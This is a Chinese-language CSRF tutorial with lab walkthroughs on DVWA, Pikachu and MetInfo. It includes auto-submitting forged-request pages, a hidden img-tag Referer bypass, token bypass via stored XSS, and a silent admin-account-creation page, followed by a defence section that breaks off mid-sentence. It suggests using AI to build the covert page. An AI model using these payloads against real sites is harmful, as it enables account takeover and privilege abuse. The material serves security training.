CSRF漏洞
1.基础知识
1.1 Cookie与Session
1.1.1 Cookie
1.1.1.1 Cookie 的基本概念
Cookie 是由服务器生成、保存在客户端浏览器中的一小段数据,用于在无状态的 HTTP 协议中维持用户状态。
核心特性
- 存储位置:客户端(浏览器)
- 生命周期:可设置过期时间
- 每次请求:浏览器会自动携带符合规则的 Cookie
- 大小限制:单个 Cookie 一般 ≤ 4KB
常见用途
- 用户登录态标识(SessionID)
- 用户偏好设置(语言、主题)
- 行为跟踪(统计、广告)
1.1.1.2 Cookie 的工作流程
基本流程
- 用户首次访问网站
- 服务器通过响应头下发 Cookie:
Set-Cookie: SESSIONID=abc123; Path=/; HttpOnly
- 浏览器保存 Cookie
- 后续访问同一站点时,浏览器自动携带:
Cookie: SESSIONID=abc123
服务器据此识别用户身份。
1.1.1.3 Cookie 的关键属性
1.Path / Domain
Path:指定 Cookie 生效路径Domain:指定 Cookie 生效域名
错误配置可能导致 Cookie 被非预期页面携带。
2.Secure
Set-Cookie: SESSIONID=abc; Secure
- 仅允许 HTTPS 传输
- 防止明文 HTTP 被中间人窃取
3.HttpOnly
Set-Cookie: SESSIONID=abc; HttpOnly
- 禁止 JavaScript 读取 Cookie
- 主要防御 XSS 窃取 Cookie
注意: HttpOnly 不能防 CSRF,因为 CSRF 不需要读取 Cookie。
4.SameSite(与 CSRF 强相关)
Set-Cookie: SESSIONID=abc; SameSite=Lax
Strict:完全禁止跨站携带Lax:允许部分安全场景None:允许跨站(必须配合 Secure)
是浏览器层面防 CSRF 的重要手段。
1.1.2 Session
1.1.2.1 Session 的基本概念
Session 是存储在服务器端的一种会话机制,用于保存用户的登录状态和临时数据。
核心特性
- 存储位置:服务器
- 客户端只保存一个 Session 标识符(SessionID)
- 安全性高于直接存 Cookie
1.1.2.2 Session 的工作原理
典型流程
- 用户登录成功
- 服务器创建 Session:
SessionID = random()
SessionData = { user_id: 1001 }
- SessionID 通过 Cookie 返回给客户端
- 客户端后续请求携带 SessionID
- 服务器通过 SessionID 查找 Session 数据
1.1.3 Cookie 与 Session 的关系
一句话概括:
Cookie 是“钥匙”,Session 是“保险箱”。
常见组合方式
| 项目 | Cookie | Session |
|---|---|---|
| 存储位置 | 客户端 | 服务端 |
| 是否敏感 | 不应存敏感数据 | 可存敏感数据 |
| 是否自动发送 | 是 | 否 |
| 是否 CSRF 风险点 | 是 | 否 |
CSRF 正是利用了 Cookie 的“自动携带”特性。
1.1.4 Session 与 CSRF 的关系
为什么 Session 会被 CSRF 利用?
因为:
- Session 依赖 Cookie 中的 SessionID
- 浏览器跨站请求仍会自动携带 Cookie
- 服务器仅通过 Session 判断“是否登录”
所以:
服务器以为是用户操作
实际上是攻击者诱导的请求
1.1.5 Session 的安全问题
1.1.5.1 会话固定(Session Fixation)
- 攻击者提前设置 SessionID
- 用户登录后仍使用该 SessionID
攻击者在用户登录前,先让用户使用一个已知的 SessionID,而应用在用户成功登录后没有重新生成新的 SessionID,导致攻击者可以继续使用这个已知的 SessionID,从而冒充已登录用户进行操作。
1.1.5.2 会话不过期
- 退出登录后 Session 仍有效
- 浏览器关闭后仍可复用
会显著提高 CSRF 风险。
1.1.5.3 Session 泄露
- 明文 HTTP
- XSS 窃取 Cookie
- 日志泄露
1.1.6 Session靶场实战
弱会话是指用户访问服务器的时候,一般服务器都会分配一个身份证session id给用户,用于标识。用户拿到session id后就会保存到cookie中,之后拿cookie在访问服务器时,服务器就知道你是谁了。
但session id过于简单就会容易被人伪造。根本不需要知道用户的密码就能访问用户服务器的内容。
1.1.6.1 low
源码分析:
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
//服务器每次生成的session_id加1给客户端
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
漏洞复现:
如果session中的last_session_id不存在就设为0,生成cookie时就在cookies上dvwasessionId+1
首先点击按钮用burp抓包
将抓到的cookie复制下来:
Cookie: dvwaSession=1; PHPSESSID=ha1df1ke8hmua8h2d9pd7j11qb; security=low
然后新打开一个页面,将刚才复制的cookie加入就可以实现直接登录不需要输密码(在这里需要清楚浏览器的cookie值)

PHPSESSID是PHP内置的会话管理机制,用于通用的会话跟踪,如用户登录状态、会话数据存储等。dvwaSession是DVWA应用自定义的会话标识符,用于演示和测试特定的会话管理漏洞。通过自定义会话标识符,DVWA可以更灵活地展示不同难度级别的会话管理问题。- 在实际的Web应用中,开发者可能会同时使用PHP内置的会话管理机制和自定义的会话标识符,以满足不同的需求。
1.1.6.2 medium
源码分析:
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
//返回当前时间的Unix时间戳,并格式化为日期
//time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
setcookie("dvwaSession", $cookie_value);
}
?>
这里通过时间戳来生成的session,可以通过时间戳转换工具生成时间戳绕过 时间戳生成工具
漏洞复现:
抓包,保存cookie信息

Cookie: dvwaSession=1679300781; PHPSESSID=9g6n98glasehppc1148qa3hdr6; security=medium
打开新标签页清空cookie信息,抓包访问靶场的弱会话地址,修改包中的cookie信息

1.1.6.3 high
源码分析:
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
/*
setcookie(name,value,expire,path,domain,secure,httponly)
参数 描述
name 必需。规定cookie的名称。
value 必需。规定cookie的值。
expire 可选。规定cookie的有效期。
path 可选。规定cookie的服务器路径。
domain 可选。规定cookie的域名。
secure 可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选。规定是否Cookie仅可通过HTTP协议访问。
*/
}
?>
发现sessionId,这种使用了md5解密进行尝试发现是个2,猜测可能是low级别上进行md5加密
查看session的值是low的进行md5加密
其余操作步骤和low相同
1.1.6.4 impossible
源码分析:
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = sha1(mt_rand() . time() . "Impossible");
//随机数+时间戳+固定字符impossible在进行sha1运算
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>
这里$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值。
1.2 CSRF 简介
CSRF(Cross-Site Request Forgery,跨站请求伪造) 是一种利用用户已登录身份,在用户不知情的情况下,强制其浏览器向目标站点发起非本意请求的攻击方式。
CSRF 的本质特点是:
- 不直接攻击服务器
- 不窃取用户 Cookie
- 而是冒充用户身份执行合法操作
产生 CSRF 的根本原因通常是:
- 服务端仅依赖 Cookie 进行身份认证
- 请求中缺乏有效的来源校验机制(如 CSRF Token、Referer / Origin 校验)
1.3 CSRF 的基本原理
绝大多数 Web 应用使用 Cookie / Session 来识别用户身份:
- 用户登录目标网站 A
- 浏览器保存身份 Cookie
- 后续请求自动携带 Cookie 完成授权
CSRF 正是利用了浏览器的这一“自动携带 Cookie”行为。
攻击者通过诱导用户访问恶意页面,使用户浏览器在携带合法 Cookie 的情况下,向目标网站发送攻击者构造的请求,从而完成操作。
可以理解为:
攻击者借用了你的“登录态”,而不是偷走了你的“登录态”。

1.4 一次 CSRF 攻击成立的必要条件
从流程上看,完成一次 CSRF 攻击,受害者需要满足以下两个步骤:
- 已登录受信任网站 A(浏览器中存在有效 Cookie)
- 在未登出 A 的情况下,访问攻击者控制的网站 B
用户浏览器(携带 Cookie)
↓
恶意页面构造请求
↓
目标网站 A 误认为是合法用户操作
1.5 CSRF攻击示例
下面通过一个最简单的“修改密码”功能,演示 CSRF 是如何成立的。
1.5.1 示例场景说明
- 目标网站 A:
http://victim.com - 已登录用户:浏览器中存在合法
SESSIONID - 功能点:修改用户密码
- 问题:接口仅依赖 Cookie,无 CSRF 防护
1.5.2 目标网站 A:存在 CSRF 漏洞的接口
后端示例(PHP)
<?php
session_start();
/* 假设用户已登录 */
if (!isset($_SESSION['user'])) {
die("not login");
}
/* 修改密码接口 */
if ($_POST['new_password']) {
// 无 token / referer 校验
$new_password = $_POST['new_password'];
file_put_contents("/tmp/password.txt", $new_password);
echo "password changed";
}
?>
正常用户请求
POST /change_password.php HTTP/1.1
Host: victim.com
Cookie: PHPSESSID=abcdef123456
Content-Type: application/x-www-form-urlencoded
new_password=123456
浏览器会自动携带 Cookie,服务器判断用户已登录 → 修改成功。
1.5.3 攻击者构造 CSRF 页面(网站 B)
攻击者在自己的网站 http://evil.com/csrf.html 放置如下内容:
<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<form action="http://victim.com/change_password.php" method="POST" id="csrf">
<input type="hidden" name="new_password" value="hacked123">
</form>
<script>
document.getElementById("csrf").submit();
</script>
</body>
</html>
1.5.4 CSRF 攻击过程
- 用户已登录
victim.com - 浏览器中保存着合法 Cookie
- 用户访问
evil.com/csrf.html - 表单被自动提交
- 浏览器自动携带 victim.com 的 Cookie
- 服务器误以为是用户本人操作
密码被悄无声息地修改
1.5.5 关键点总结
- 攻击者 没有 Cookie
- 攻击者 看不到响应
- 但浏览器 替攻击者完成了请求
CSRF 的核心不是“伪造请求”,而是利用浏览器自动携带身份凭证的特性
1.6 CSRF 能造成的危害
CSRF 攻击的目标是引起服务器状态变化,例如:
- 修改密码 / 邮箱 / 手机号
- 新增或删除用户(如管理员操作)
- 发送站内消息、邮件
- 购买商品、虚拟货币转账
- 修改账号权限、绑定信息
风险总结:
- 账号被完全接管
- 隐私信息泄露
- 直接财产损失
- 后台管理功能被滥用
1.7 CSRF 与 XSS 的区别
| 对比项 | CSRF | XSS |
|---|---|---|
| 是否获取 Cookie | ❌ 不获取 | ✅ 获取 |
| 攻击方式 | 借用用户权限 | 窃取用户权限 |
| 依赖用户行为 | 必须 | 不一定 |
| 是否跨站 | 是 | 不一定 |
| 控制程度 | 间接 | 直接 |
核心区别一句话:
- XSS:我拿到了你的权限,然后为所欲为
- CSRF:我没拿你的权限,但你替我做了事
1.8 渗透测试中如何寻找潜在的 CSRF 漏洞
凡是“会导致服务器状态变化”的功能点,且“只依赖 Cookie 认证”的,都是 CSRF 的候选目标。
1.8.1 优先关注的功能类型
在渗透测试中,重点盯以下接口:
1.用户相关
- 修改密码
- 修改邮箱 / 手机号
- 修改个人信息
- 绑定 / 解绑第三方账号
- 重置安全设置
2.管理 / 高权限操作
- 新增 / 删除用户
- 修改用户权限
- 管理员配置变更
- 系统设置修改
3.资金 / 资产相关
- 充值、转账
- 下单、购买
- 积分 / 虚拟币操作
只要满足 “改数据” 这三个字,就值得测 CSRF。
1.8.2 判断接口是否“天然容易 CSRF”
对每个可疑接口,快速做如下判断:
1.是否只靠 Cookie 鉴权?
抓包观察请求头:
Cookie: SESSIONID=xxxx
如果没有以下任意一项,风险很高:
- CSRF Token
- Referer / Origin 校验
- 二次认证字段(旧密码、验证码等)
2.请求参数是否完全可控?
例如:
POST /update_email
email=hacker@evil.com
如果参数:
- 没有动态随机值
- 没有签名
- 没有一次性字段
非常适合测试 CSRF
3.会话是否长期有效?
测试点:
- 退出登录后是否还能操作
- 浏览器关闭后 Cookie 是否仍有效
- 长时间不操作是否仍可用
会话越“长命”,CSRF 成功率越高。
1.8.3 快速人工验证 CSRF 的思路
不靠工具,也可以快速判断:
- 正常登录目标站点
- 复制关键请求
- 删除所有非必要头(如 X-Requested-With)
- 在浏览器新标签中构造请求(或 HTML 表单)
- 只要请求能成功生效 → 高概率 CSRF
1.9 Burp Suite 中 CSRF PoC 的使用方法
Burp 的 CSRF PoC 功能,本质是:帮你快速生成一个“恶意站点页面”。
1.9.1 使用 CSRF PoC 的前提
- 已抓到一个 可疑的状态变更请求
- 请求是:
- POST / PUT / DELETE
- 或 GET(不规范但常见)
1.9.2 操作步骤
1.9.2.1 抓取目标请求
在 Proxy / HTTP history 中,找到例如:
POST /change_password HTTP/1.1
Host: victim.com
Cookie: SESSIONID=xxxx
new_password=123456
1.9.2.2 生成 CSRF PoC
右键该请求:
Engagement tools
→ Generate CSRF PoC
Burp 会自动生成一个 HTML 页面。
1.9.2.3 查看 Burp 生成的 PoC
常见形式为:
<form action="https://victim.com/change_password" method="POST">
<input type="hidden" name="new_password" value="123456">
<input type="submit" value="Submit request">
</form>
<script>
document.forms[0].submit();
</script>
关键点:
- 表单方式提交
- 参数完全复刻原请求
- 自动提交(模拟用户无感知访问)
1.9.3 如何验证 CSRF 是否真实存在
是否存在 CSRF,不看响应页面,看“数据是否真的变了”
正确验证方式:
- 保持用户已登录 victim.com
- 将 PoC 保存为本地 HTML 或放到攻击机
- 用浏览器访问 PoC
- 返回 victim.com 查看:
- 密码是否被改
- 信息是否被修改
- 状态是否发生变化
数据变化 → CSRF 成立
无变化 → 可能存在防护
1.9.4 常见 PoC 失败原因(不是没漏洞)
遇到 PoC 不生效,别急着否定,检查:
- 是否存在 CSRF Token(且未被带上)
- 接口是否校验 Referer / Origin
- 是否要求特定 Header(如 X-Requested-With)
- 是否使用 JSON / Ajax(需手工改 PoC)
Burp 生成的是通用 PoC,不是万能 PoC。
1.9.5 渗透测试中的实战流程
找状态变更接口
→ 看是否有 Token
→ 无 Token 用 Burp PoC
→ 验证数据是否变化
→ 再分析防御是否可绕过
2.CSRF靶场实战
2.1 Pikachu CSRF
2.1.1 CSRF( GET 型)

提示:这里一共有这么些用户vince/allen/kobe/grady/kevin/lucy/lili,密码全部是123456
这里我们使用lili登录后,页面显示了用户的个人信息,下方有一个修改个人信息

点击之后打开了修改个人信息页面,我们将手机号修改为18888888888,开启burp抓包并点击submit按钮

得到下面的GET请求
http://ctf.eagleslab.com:41136/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=18888888888&add=111&email=123456&submit=submit
修改一下请求,然后使用同一个浏览器提交,就可以触发信息的更改
http://ctf.eagleslab.com:41136/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=6666&add=usa&email=lucy%40pikachu.com&submit=submit

可以将这个网址生成二维码,或者生成短网址来诱导管理员访问
当然也可以使用burp CSRF Poc来测试
此时我们使用burp直接生成CSRF Poc代码,右键请求包 → Engagement tools → Generate CSRF PoC

点击 Test in browser

复制弹出的URL链接,在浏览器中打开


点击之后页面跳转至个人信息页面,并且手机号已经发生了改变,正常情况下这个CSRF Poc的页面是攻击者生成的,然后发送给受害者进行点击,然后攻击者就可以使用受害者的合法的身份去访问网站(比如修改密码、修改个人信息等)。
2.1.2 CSRF( POST 型)
本关的漏洞利用方式与上一关相同,只是请求方式发生了改变,此处不再赘述,可以再次尝试手动提交和burp构造

2.1.3 CSRF Token
修改个人信息时发现会携带token一起发送,并且会在当前页面的前端代码中生成新的token值

构造一般的PoC肯定不行,本关需要使用burp的插件 CSRF Token Tracker,在Extender里面下载:
CSRF Token Tracker 可以自动获取 csrf 的 token,对于一些有 csrf 限制的请求,它可以绕过该限制,如暴力破解具有 csrf token 的登录请求,在渗透测试过程中CSRF Token的自动更新。

这里代表token的变量名字就叫token,在插件中添加一条规则:

将上文的数据包发送到Repeater,将手机号修改为13333333333发送数据包,查看能否修改
发送请求包后页面出现重定向按钮,我们点击follow跟随跳转

此时响应包中的手机号已经修改成功了


2.2 DVWA CSRF
2.2.1 low
csrf(跨站请求伪造),利用还未过期的用户信息诱骗用户点击链接修改用户信息

源码分析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input使用get方式获取两个密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?查看两次密码是否一样
if( $pass_new == $pass_conf ) {
// They do!一样的话直接插入数据库
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
$html .= "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
$html .= "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
get方式获取了两次输入的密码,一致的话直接将数据插入到数据库中 漏洞复现: 首先尝试修改密码

测试原来默认的密码登录失败,新设置的密码在url中可以看到 我们构造链接http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#在浏览器中访问发现密码就能被重新改回到password(诱骗用户点击)

然后我们登录就可以使用password做密码登录了
2.2.2 medium
源码分析:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
//stripos(str1,str2)检查str2在str1中出现的位置(不区分大小写)如果有//返回ture
//判断host字段是否出现在referer字段中
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
medium级别的代码检查了保留变量http_referer(http包头的referer参数值,表示来源地址)中是否包含了server_name(http包头的host参数,即要访问的主机名,这里是192.168.23.128),希望通过这种机制抵御csrf攻击 漏洞复现:

可以看到数据包中有Referer但在url中没有,这里是urlhttp://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#可以进行查看参数中没有referer。意思是referer中只要出现server_name就可以正常操作

可以看到在hackbr中修改参数密码为password然后添加头信息referer点击执行可以看到成功执行。 也可以自己搭建的恶意网站中是不存在这个的,我们在链接中包含上服务器的地址就能绕过了,我们可以构造一个图片的src中包含服务器地址的文件,
index.html
<img src="http://192.168.23.128/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
然后存放到自己的网站然后发送链接http://192.168.23.128/192.168.23.128.html给用户一但点击攻击就完成了

2.2.3 high
源码分析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token 加入了token检验机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
high级别的代码增加了token检验机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器提交token参数时服务器会在收到token时先检查token,token正确才会处理客户端请求。
漏洞复现:
这里可以利用存储型xss可执行代码获取token,其实是利用xss获取cooki中的token值,所以在这个地方我们使用xss执行。
现在存储型xss中写入语句有长度限制我们F12改限制

这里不要点击确定先复制,然后打开另一个网页打开csrf题输入修改的密码点击提交抓包,不放包发送到repeater中修改token的值点击go跟随查看响应可以看到密码修改了

这种加token的方式由于是后台先把token发送到前端我们可以先获取到向应包中的token替换请求包中的token就能很容易绕过
或者使用burp的插件 CSRF Token Tracker也可以实现类似效果
2.2.4 impossible
源码分析
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
//这里需要输入旧的密码进行校验
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
要求我们先输入就密码再修改,攻击者不知道原始密码的情况下是无法发起攻击的。 防护措施 加入Anti-CSRF,每次向客户端发送一个随机数,当客户端向服务器发送数据时对比随机数从而确定身份 获取当前用户密码,以此判断是否为当前用户操作 二次确认(提示、二次密码、验证码).
2.3 metinfo
内部靶场开启metinfo容器,数据库密码为空,确定就行,设置好管理员账号密码,登录

在网站后台管理员管理处添加管理员并且抓包,在提交的时候可以抓包到如下内容

下面是post提交的部分
POST /admin/admin/save.php?action=add&lang=cn&anyid=47 HTTP/1.1
Host: ctf.eagleslab.com:41138
Content-Length: 1249
Cache-Control: max-age=0
Origin: http://ctf.eagleslab.com:41138
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.eagleslab.com:41138/admin/admin/add.php?lang=cn&anyid=47
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: upgraderemind=1; appsynchronous=1; PHPSESSID=luldvuu7rjf9v6ggdipm9717l8; conav=7; coul=47
Connection: close
useid=test&pass1=test&pass2=test&name=binly+xu&sex=0&tel=11111111111&mobile=1111111111&email=11187%40protonmail.com&qq=&msn=&taobao=&admin_introduction=&admin_group=3&langok=metinfo&langok_cn=cn&langok_en=en&admin_op0=metinfo&admin_op1=add&admin_op2=editor&admin_op3=del&admin_pop=yes&admin_pop1001=1001&admin_pop1002=1002&admin_pop1003=1003&admin_pop1004=1004&admin_pop1005=1005&admin_pop1006=1006&admin_pop1101=1101&admin_pop1102=1102&admin_pop1103=1103&admin_pop1104=1104&admin_pop1105=1105&admin_pop1106=1106&admin_pop1201=1201&admin_pop1202=1202&admin_pop1203=1203&admin_pop1204=1204&admin_pop1301=1301&admin_pop1302=1302&admin_pop1303=1303&admin_pop1304=1304&admin_pop1305=1305&admin_pop1=1&admin_pop2=2&admin_pop3=3&admin_pop25=25&admin_pop31=31&admin_pop32=32&admin_pop33=33&admin_pop36=36&admin_pop42=42&admin_pop43=43&admin_pop49=49&admin_pop44=44&admin_pop50=50&admin_pop45=45&admin_pop46=46&admin_pop47=47&admin_pop9999=9999&admin_pop1401=1401&admin_pop1402=1402&admin_pop1403=1403&admin_pop1404=1404&admin_pop1405=1405&admin_pop1406=1406&admin_pop1505=1505&admin_pop1502=1502&admin_pop1503=1503&admin_pop1504=1504&admin_pop1501=1501&admin_pop1601=1601&admin_pop1604=1604&admin_pop1602=1602&admin_pop1603=1603&submit=%E4%BF%9D%E5%AD%98
这种的利用方式就会比较麻烦,因为是使用的POST方式提交的,可以考虑构造一个假的网页诱导管理员访问 首先生成html文件,此处可以使用chatgpt帮助我们快速生成input页面

这里改成test666,原来的包drop掉

复制url到浏览器提交


查看管理账号这里发现已经增加成功

当然也可以使用javascript,当管理员访问此页面的时候,自动触发提交请求,这样就可以把诱导的网址做成二维码来让管理员扫码或者是点开不做任何操作都能够触发,可以使用AI制作一个神不知鬼不觉的恶意html,只要管理员点击,静默添加账号
window.onload = function() {
document.getElementById("myForm").submit();
};
# 在给submit添加了id="myForm"之后,在加上这段js代码,就可以触发自动提交
3.CSRF 防御策略
CSRF 的防御目标并不是阻止请求被发送,而是破坏攻击成立的前提条件,核心在于两点:
让攻击者无法预测或构造合法请求参数 强制服务器区分“真实用户意图”与“被诱导请求”
有效的 CSRF 防御应当是多层组合,而非依赖单一机制。
3.1 Anti-CSRF Token(令牌校验)
核心思想: CSRF 攻击无法读取目标站点内容,因此无法获取服务器下发的随机令牌。
工作原理:
生成
- 用户登录或首次访问页面时
- 服务器生成一个高随机、不可预测的 Token
- Token 与用户 Session 绑定并存储在服务端
下发
通过以下方式返回给客户端:
表单隐藏字段
<input type="hidden" name="csrf_token" value="...">自定义 HTTP Header(如
X-CSRF-Token)
校验
所有状态变更请求进入业务逻辑前
服务端对比:
请求中的 Token == Session 中的 Token
判定
- 校验成功 → 放行
- 缺失或不一致 → 直接拒绝
关键安全要求:
- Token 必须:
- 随机、不可预测
- 与会话或用户强绑定
- 具备生命周期(一次性或短期有效)
- 禁止:
- 固定 Token
- 多用户共用 Token
- 仅校验存在、不校验值
3.2 SameSite Cookie 属性(浏览器层面)
核心思想: 在浏览器层面阻断“跨站自动携带 Cookie”的行为。
原理:
通过在 Set-Cookie 中声明 SameSite 策略:
Set-Cookie: SESSIONID=xxx; SameSite=Lax; Secure; HttpOnly
策略模式
Strict- 所有跨站请求均不携带 Cookie
- 安全性最高,用户体验影响较大
Lax(现代浏览器默认)- 允许顶级导航 GET 请求携带 Cookie
- 阻止 POST、iframe、表单等高风险跨站请求
安全价值
- 从根源上削弱 CSRF 的攻击前提
- 强烈建议与 CSRF Token 联合使用
3.3 同源校验(Origin / Referer)
原理: 校验请求来源是否来自本站域名。
实现方式:
校验以下请求头:
Origin: https://example.com Referer: https://example.com/xxx
局限性说明
Referer可能被浏览器或代理删除- 错误的正则匹配可能被绕过
- 不同浏览器行为不完全一致
结论: 只能作为辅助防御,不能单独依赖。
3.4 敏感操作二次认证(Re-Authentication)
适用场景:
- 修改密码
- 修改绑定信息
- 高权限或高价值操作(转账、权限变更)
常见做法:
- 强制校验旧密码
- 二次验证(短信验证码 / OTP / MFA)
安全效果:
即使 CSRF 请求被成功触发, 攻击者仍无法完成最终操作。
3.5 验证码机制(CAPTCHA)
作用定位:
- 并非 CSRF 专用防护
- 但能有效阻断自动化攻击
优势:
- 强制用户参与交互
- 提高攻击成本
- 同时防止暴力破解与批量请求
不建议对所有接口使用,避免影响正常业务流程。
3.6 规范 HTTP 请求方法
基本原则:
- GET:只用于读取数据
- POST / PUT / DELETE:用于状态变更
安全意义:
- GET 请求极易被
